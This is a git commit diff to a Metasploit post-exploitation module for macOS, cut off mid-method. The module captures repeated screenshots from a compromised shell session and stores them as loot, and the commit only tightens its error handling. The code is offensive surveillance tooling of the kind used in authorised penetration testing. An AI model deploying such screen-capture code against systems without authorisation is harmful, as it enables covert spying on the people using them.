Tighter error handling

bug/bundler_fix
Peter Toth 2013-11-13 16:19:38 +01:00
parent 92da6760ef
commit c4a8bfb175
1 changed files with 23 additions and 25 deletions

View File

@ -20,7 +20,7 @@ class Metasploit3 < Msf::Post
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
[ [
'Peter Toth <globetother[at]gmail.com>' 'Peter Toth <globetother[at]gmail.com>' # ported windows version to osx
], ],
'Platform' => [ 'osx' ], 'Platform' => [ 'osx' ],
'SessionTypes' => [ 'shell' ] 'SessionTypes' => [ 'shell' ]
@ -40,19 +40,16 @@ class Metasploit3 < Msf::Post
end end
def run def run
host = session.session_host
screenshot = Msf::Config.get_config_root + "/logs/" + host + ".jpg"
file_type = datastore['FILETYPE'].shellescape file_type = datastore['FILETYPE'].shellescape
tmp_path = datastore['TMP_PATH'].shellescape.gsub('random', Rex::Text.rand_text_alpha(8)) tmp_path = datastore['TMP_PATH'].shellescape.gsub('random', Rex::Text.rand_text_alpha(8))
begin
count = datastore['COUNT'] count = datastore['COUNT']
print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds" print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds"
# calculate a sane number of leading zeros to use. log of x is ~ the number of digits # calculate a sane number of leading zeros to use. log of x is ~ the number of digits
leading_zeros = Math::log10(count).round leading_zeros = Math::log10(count).round
file_locations = [] file_locations = []
count.times do |num| count.times do |num|
select(nil, nil, nil, datastore['DELAY']) Rex.sleep(datastore['DELAY'])
begin begin
# This is an OSX module, so mkdir -p should be fine # This is an OSX module, so mkdir -p should be fine
cmd_exec("mkdir -p #{tmp_path}") cmd_exec("mkdir -p #{tmp_path}")
@ -65,14 +62,15 @@ class Metasploit3 < Msf::Post
return false return false
end end
if data if data
begin
# let's loot it using non-clobbering filename, even tho this is the source filename, not dest # let's loot it using non-clobbering filename, even tho this is the source filename, not dest
fn = "screenshot.%0#{leading_zeros}d.#{file_type}" % num fn = "screenshot.%0#{leading_zeros}d.#{file_type}" % num
file_locations << store_loot("screen_capture.screenshot", "image/#{file_type}", session, data, fn, "Screenshot") file_locations << store_loot("screen_capture.screenshot", "image/#{file_type}", session, data, fn, "Screenshot")
end
end
rescue IOError, Errno::ENOENT => e rescue IOError, Errno::ENOENT => e
print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}") print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}")
return return false
end
end
end end
print_status("Screen Capturing Complete") print_status("Screen Capturing Complete")
if file_locations and not file_locations.empty? if file_locations and not file_locations.empty?